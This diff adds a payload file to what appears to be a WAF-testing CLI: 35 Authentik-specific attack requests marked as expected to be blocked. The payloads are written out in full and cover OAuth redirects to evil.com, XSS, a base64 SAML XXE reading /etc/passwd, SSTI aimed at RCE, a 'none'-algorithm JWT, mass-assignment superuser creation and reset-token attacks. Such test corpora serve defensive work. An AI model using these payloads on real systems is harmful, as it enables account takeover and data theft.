@waftester/cli 2.8.0

package/payloads/community/services/authentik.json

@@ -0,0 +1,415 @@
+[
+  {
+    "id": "SVC-AUTK-001",
+    "payload": "/application/o/authorize/?client_id=test&redirect_uri=https://evil.com/callback&response_type=code",
+    "tags": ["oauth", "open-redirect", "quick", "critical"],
+    "expected_block": true,
+    "severity_hint": "Critical",
+    "notes": "OAuth open redirect to malicious callback URL",
+    "category": "Service-Specific",
+    "service": "authentik",
+    "endpoint": "/application/o/authorize/"
+  },
+  {
+    "id": "SVC-AUTK-002",
+    "payload": "/application/o/authorize/?client_id=test&redirect_uri=javascript:alert(document.cookie)&response_type=code",
+    "tags": ["oauth", "xss", "quick", "critical"],
+    "expected_block": true,
+    "severity_hint": "Critical",
+    "notes": "OAuth redirect with javascript: scheme (XSS)",
+    "category": "Service-Specific",
+    "service": "authentik",
+    "endpoint": "/application/o/authorize/"
+  },
+  {
+    "id": "SVC-AUTK-003",
+    "payload": "/application/o/authorize/?client_id=test&redirect_uri=data:text/html,<script>alert(1)</script>&response_type=code",
+    "tags": ["oauth", "xss", "data-uri", "critical"],
+    "expected_block": true,
+    "severity_hint": "Critical",
+    "notes": "OAuth redirect with data: URI (XSS)",
+    "category": "Service-Specific",
+    "service": "authentik",
+    "endpoint": "/application/o/authorize/"
+  },
+  {
+    "id": "SVC-AUTK-004",
+    "payload": "/application/o/authorize/?client_id=test&redirect_uri=http://localhost:8080@attacker.com&response_type=code",
+    "tags": ["oauth", "open-redirect", "url-parsing", "high"],
+    "expected_block": true,
+    "severity_hint": "High",
+    "notes": "OAuth redirect with URL parsing confusion (@)",
+    "category": "Service-Specific",
+    "service": "authentik",
+    "endpoint": "/application/o/authorize/"
+  },
+  {
+    "id": "SVC-AUTK-005",
+    "payload": "/application/o/authorize/?client_id=test&redirect_uri=https://auth.example.com.evil.com&response_type=code",
+    "tags": ["oauth", "open-redirect", "subdomain-takeover", "high"],
+    "expected_block": true,
+    "severity_hint": "High",
+    "notes": "OAuth redirect to lookalike domain (subdomain prefix)",
+    "category": "Service-Specific",
+    "service": "authentik",
+    "endpoint": "/application/o/authorize/"
+  },
+  {
+    "id": "SVC-AUTK-006",
+    "payload": "/source/saml/<slug>/acs/",
+    "method": "POST",
+    "body": "SAMLResponse=PD94bWwgdmVyc2lvbj0iMS4wIj8+PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgeHhlIFNZU1RFTSAiZmlsZTovLy9ldGMvcGFzc3dkIj5dPjxzYW1scDpSZXNwb25zZT4meHhlOzwvc2FtbHA6UmVzcG9uc2U+",
+    "tags": ["saml", "xxe", "quick", "critical"],
+    "expected_block": true,
+    "severity_hint": "Critical",
+    "notes": "SAML XXE attack attempting to read /etc/passwd",
+    "category": "Service-Specific",
+    "service": "authentik",
+    "endpoint": "/source/saml/<slug>/acs/"
+  },
+  {
+    "id": "SVC-AUTK-007",
+    "payload": "/source/saml/<slug>/acs/",
+    "method": "POST",
+    "body": "SAMLResponse=PHNhbWxwOlJlc3BvbnNlPjxzYW1sOkFzc2VydGlvbj48c2FtbDpBdHRyaWJ1dGVTdGF0ZW1lbnQ+PHNhbWw6QXR0cmlidXRlIE5hbWU9InJvbGUiPjxzYW1sOkF0dHJpYnV0ZVZhbHVlPmFkbWluPC9zYW1sOkF0dHJpYnV0ZVZhbHVlPjwvc2FtbDpBdHRyaWJ1dGU+PC9zYW1sOkF0dHJpYnV0ZVN0YXRlbWVudD48L3NhbWw6QXNzZXJ0aW9uPjwvc2FtbHA6UmVzcG9uc2U+",
+    "tags": ["saml", "injection", "privilege-escalation", "critical"],
+    "expected_block": true,
+    "severity_hint": "Critical",
+    "notes": "SAML attribute injection - injecting admin role",
+    "category": "Service-Specific",
+    "service": "authentik",
+    "endpoint": "/source/saml/<slug>/acs/"
+  },
+  {
+    "id": "SVC-AUTK-008",
+    "payload": "/api/v3/core/users/",
+    "method": "POST",
+    "body": "{\"username\":\"attacker\",\"email\":\"test@test.com\",\"is_superuser\":true,\"is_staff\":true}",
+    "tags": ["api", "mass-assignment", "privilege-escalation", "critical"],
+    "expected_block": true,
+    "severity_hint": "Critical",
+    "notes": "User provisioning mass assignment - creating superuser",
+    "category": "Service-Specific",
+    "service": "authentik",
+    "endpoint": "/api/v3/core/users/"
+  },
+  {
+    "id": "SVC-AUTK-009",
+    "payload": "/api/v3/core/users/",
+    "method": "POST",
+    "body": "{\"username\":\"attacker2\",\"email\":\"test@test.com\",\"groups\":[\"administrators\",\"superusers\"]}",
+    "tags": ["api", "mass-assignment", "group-escalation", "critical"],
+    "expected_block": true,
+    "severity_hint": "Critical",
+    "notes": "User provisioning with privileged group assignment",
+    "category": "Service-Specific",
+    "service": "authentik",
+    "endpoint": "/api/v3/core/users/"
+  },
+  {
+    "id": "SVC-AUTK-010",
+    "payload": "/api/v3/core/users/",
+    "method": "POST",
+    "body": "{\"username\":\"attacker3\",\"email\":\"test@test.com\",\"permissions\":[\"*\"]}",
+    "tags": ["api", "mass-assignment", "wildcard-permission", "critical"],
+    "expected_block": true,
+    "severity_hint": "Critical",
+    "notes": "User provisioning with wildcard permissions",
+    "category": "Service-Specific",
+    "service": "authentik",
+    "endpoint": "/api/v3/core/users/"
+  },
+  {
+    "id": "SVC-AUTK-011",
+    "payload": "/flows/executor/test/?query={{%20'7'*7%20}}",
+    "tags": ["ssti", "template-injection", "quick", "high"],
+    "expected_block": true,
+    "severity_hint": "High",
+    "notes": "Flow executor template injection (Jinja2)",
+    "category": "Service-Specific",
+    "service": "authentik",
+    "endpoint": "/flows/executor/"
+  },
+  {
+    "id": "SVC-AUTK-012",
+    "payload": "/flows/executor/test/?query={{config.items()}}",
+    "tags": ["ssti", "info-disclosure", "high"],
+    "expected_block": true,
+    "severity_hint": "High",
+    "notes": "Flow executor attempting to leak config via template",
+    "category": "Service-Specific",
+    "service": "authentik",
+    "endpoint": "/flows/executor/"
+  },
+  {
+    "id": "SVC-AUTK-013",
+    "payload": "/flows/executor/test/?query={{''.__class__.__mro__[1].__subclasses__()}}",
+    "tags": ["ssti", "rce", "critical"],
+    "expected_block": true,
+    "severity_hint": "Critical",
+    "notes": "Flow executor Python object traversal for RCE",
+    "category": "Service-Specific",
+    "service": "authentik",
+    "endpoint": "/flows/executor/"
+  },
+  {
+    "id": "SVC-AUTK-014",
+    "payload": "/flows/executor/test/?query=${7*7}",
+    "tags": ["ssti", "el-injection", "high"],
+    "expected_block": true,
+    "severity_hint": "High",
+    "notes": "Flow executor EL expression injection",
+    "category": "Service-Specific",
+    "service": "authentik",
+    "endpoint": "/flows/executor/"
+  },
+  {
+    "id": "SVC-AUTK-015",
+    "payload": "/flows/executor/test/?query=<%=7*7%>",
+    "tags": ["ssti", "erb-injection", "high"],
+    "expected_block": true,
+    "severity_hint": "High",
+    "notes": "Flow executor ERB template injection",
+    "category": "Service-Specific",
+    "service": "authentik",
+    "endpoint": "/flows/executor/"
+  },
+  {
+    "id": "SVC-AUTK-016",
+    "payload": "/application/o/token/",
+    "method": "POST",
+    "body": "grant_type=password&username=admin&password=admin",
+    "tags": ["oauth", "token", "brute-force", "high"],
+    "expected_block": true,
+    "severity_hint": "High",
+    "notes": "Token endpoint password grant type (credential stuffing)",
+    "category": "Service-Specific",
+    "service": "authentik",
+    "endpoint": "/application/o/token/"
+  },
+  {
+    "id": "SVC-AUTK-017",
+    "payload": "/application/o/token/",
+    "method": "POST",
+    "body": "grant_type=client_credentials&client_id=test&client_secret=",
+    "tags": ["oauth", "token", "empty-secret", "high"],
+    "expected_block": true,
+    "severity_hint": "High",
+    "notes": "Token endpoint with empty client secret",
+    "category": "Service-Specific",
+    "service": "authentik",
+    "endpoint": "/application/o/token/"
+  },
+  {
+    "id": "SVC-AUTK-018",
+    "payload": "/application/o/token/",
+    "method": "POST",
+    "body": "grant_type=refresh_token&refresh_token=../../../etc/passwd",
+    "tags": ["oauth", "token", "traversal", "critical"],
+    "expected_block": true,
+    "severity_hint": "Critical",
+    "notes": "Token endpoint with path traversal in refresh token",
+    "category": "Service-Specific",
+    "service": "authentik",
+    "endpoint": "/application/o/token/"
+  },
+  {
+    "id": "SVC-AUTK-019",
+    "payload": "/application/o/token/",
+    "method": "POST",
+    "body": "grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer&assertion=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpc3MiOiJhdHRhY2tlciJ9.",
+    "tags": ["oauth", "token", "jwt-bearer", "algorithm-confusion", "critical"],
+    "expected_block": true,
+    "severity_hint": "Critical",
+    "notes": "JWT bearer grant with 'none' algorithm",
+    "category": "Service-Specific",
+    "service": "authentik",
+    "endpoint": "/application/o/token/"
+  },
+  {
+    "id": "SVC-AUTK-020",
+    "payload": "/if/flow/recovery/?token=admin",
+    "tags": ["account-takeover", "token-prediction", "critical"],
+    "expected_block": true,
+    "severity_hint": "Critical",
+    "notes": "Password reset with predictable token",
+    "category": "Service-Specific",
+    "service": "authentik",
+    "endpoint": "/if/flow/recovery/"
+  },
+  {
+    "id": "SVC-AUTK-021",
+    "payload": "/if/flow/recovery/?token=aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa",
+    "tags": ["account-takeover", "token-enumeration", "high"],
+    "expected_block": true,
+    "severity_hint": "High",
+    "notes": "Password reset with sequential UUID enumeration",
+    "category": "Service-Specific",
+    "service": "authentik",
+    "endpoint": "/if/flow/recovery/"
+  },
+  {
+    "id": "SVC-AUTK-022",
+    "payload": "/if/flow/recovery/?token[]=multi&token[]=value",
+    "tags": ["account-takeover", "array-injection", "high"],
+    "expected_block": true,
+    "severity_hint": "High",
+    "notes": "Password reset with array parameter pollution",
+    "category": "Service-Specific",
+    "service": "authentik",
+    "endpoint": "/if/flow/recovery/"
+  },
+  {
+    "id": "SVC-AUTK-023",
+    "payload": "/if/flow/recovery/?token=../admin",
+    "tags": ["account-takeover", "traversal", "critical"],
+    "expected_block": true,
+    "severity_hint": "Critical",
+    "notes": "Password reset with path traversal in token",
+    "category": "Service-Specific",
+    "service": "authentik",
+    "endpoint": "/if/flow/recovery/"
+  },
+  {
+    "id": "SVC-AUTK-024",
+    "payload": "/api/v3/stages/email/verify/",
+    "method": "POST",
+    "body": "{\"email\":\"attacker@test.com\",\"token\":\"0\",\"user_id\":\"1\"}",
+    "tags": ["account-takeover", "verification-bypass", "high"],
+    "expected_block": true,
+    "severity_hint": "High",
+    "notes": "Email verification bypass with null token and user ID injection",
+    "category": "Service-Specific",
+    "service": "authentik",
+    "endpoint": "/api/v3/stages/email/verify/"
+  },
+  {
+    "id": "SVC-AUTK-025",
+    "payload": "/api/v3/stages/email/verify/",
+    "method": "POST",
+    "body": "{\"email\":\"victim@test.com\",\"verified\":true}",
+    "tags": ["account-takeover", "verification-bypass", "mass-assignment", "critical"],
+    "expected_block": true,
+    "severity_hint": "Critical",
+    "notes": "Email verification bypass via mass assignment",
+    "category": "Service-Specific",
+    "service": "authentik",
+    "endpoint": "/api/v3/stages/email/verify/"
+  },
+  {
+    "id": "SVC-AUTK-026",
+    "payload": "/api/v3/stages/email/verify/",
+    "method": "POST",
+    "body": "{\"email\":\"test@test.com\",\"skip_verification\":true}",
+    "tags": ["account-takeover", "verification-bypass", "high"],
+    "expected_block": true,
+    "severity_hint": "High",
+    "notes": "Email verification skip flag injection",
+    "category": "Service-Specific",
+    "service": "authentik",
+    "endpoint": "/api/v3/stages/email/verify/"
+  },
+  {
+    "id": "SVC-AUTK-027",
+    "payload": "/api/v3/core/authenticated_sessions/?session_id=attacker_session",
+    "tags": ["session-fixation", "session-hijacking", "high"],
+    "expected_block": true,
+    "severity_hint": "High",
+    "notes": "Session fixation via custom session ID",
+    "category": "Service-Specific",
+    "service": "authentik",
+    "endpoint": "/api/v3/core/authenticated_sessions/"
+  },
+  {
+    "id": "SVC-AUTK-028",
+    "payload": "/application/o/authorize/?session_state=fixed_session_123",
+    "tags": ["oauth", "session-fixation", "high"],
+    "expected_block": true,
+    "severity_hint": "High",
+    "notes": "OAuth session fixation via session_state parameter",
+    "category": "Service-Specific",
+    "service": "authentik",
+    "endpoint": "/application/o/authorize/"
+  },
+  {
+    "id": "SVC-AUTK-029",
+    "payload": "/api/v3/admin/",
+    "tags": ["forced-browsing", "admin-access", "high"],
+    "expected_block": true,
+    "severity_hint": "High",
+    "notes": "Unauthenticated admin API access attempt",
+    "category": "Service-Specific",
+    "service": "authentik",
+    "endpoint": "/api/v3/admin/"
+  },
+  {
+    "id": "SVC-AUTK-030",
+    "payload": "/.well-known/openid-configuration",
+    "tags": ["info-disclosure", "oidc-discovery", "low"],
+    "expected_block": false,
+    "severity_hint": "Low",
+    "notes": "OIDC discovery endpoint (should be public but monitored)",
+    "category": "Service-Specific",
+    "service": "authentik",
+    "endpoint": "/.well-known/openid-configuration"
+  },
+  {
+    "id": "SVC-AUTK-031",
+    "payload": "/api/v3/flows/bindings/?stage=../../admin/users",
+    "tags": ["flow", "traversal", "privilege-escalation", "critical"],
+    "expected_block": true,
+    "severity_hint": "Critical",
+    "notes": "Flow bindings with path traversal to admin users",
+    "category": "Service-Specific",
+    "service": "authentik",
+    "endpoint": "/api/v3/flows/bindings/"
+  },
+  {
+    "id": "SVC-AUTK-032",
+    "payload": "/api/v3/stages/prompt/prompts/",
+    "method": "POST",
+    "body": "{\"field_key\":\"{{constructor.constructor('return process')()}}\",\"label\":\"test\"}",
+    "tags": ["stage", "ssti", "prompt-injection", "critical"],
+    "expected_block": true,
+    "severity_hint": "Critical",
+    "notes": "Prompt stage with SSTI in field_key",
+    "category": "Service-Specific",
+    "service": "authentik",
+    "endpoint": "/api/v3/stages/prompt/prompts/"
+  },
+  {
+    "id": "SVC-AUTK-033",
+    "payload": "/application/saml/test/metadata/?download=../../admin/config.xml",
+    "tags": ["saml", "traversal", "info-disclosure", "high"],
+    "expected_block": true,
+    "severity_hint": "High",
+    "notes": "SAML metadata with path traversal in download parameter",
+    "category": "Service-Specific",
+    "service": "authentik",
+    "endpoint": "/application/saml/{slug}/metadata/"
+  },
+  {
+    "id": "SVC-AUTK-034",
+    "payload": "/api/v3/outposts/instances/?provider=*",
+    "tags": ["outpost", "enumeration", "wildcard-injection", "high"],
+    "expected_block": true,
+    "severity_hint": "High",
+    "notes": "Outpost enumeration with wildcard provider filter",
+    "category": "Service-Specific",
+    "service": "authentik",
+    "endpoint": "/api/v3/outposts/instances/"
+  },
+  {
+    "id": "SVC-AUTK-035",
+    "payload": "/api/v3/core/tokens/",
+    "method": "POST",
+    "body": "{\"identifier\":\"admin\",\"intent\":\"api\",\"expiring\":false}",
+    "tags": ["token", "privilege-escalation", "non-expiring", "critical"],
+    "expected_block": true,
+    "severity_hint": "Critical",
+    "notes": "Non-expiring API token creation for admin user",
+    "category": "Service-Specific",
+    "service": "authentik",
+    "endpoint": "/api/v3/core/tokens/"
+  }
+]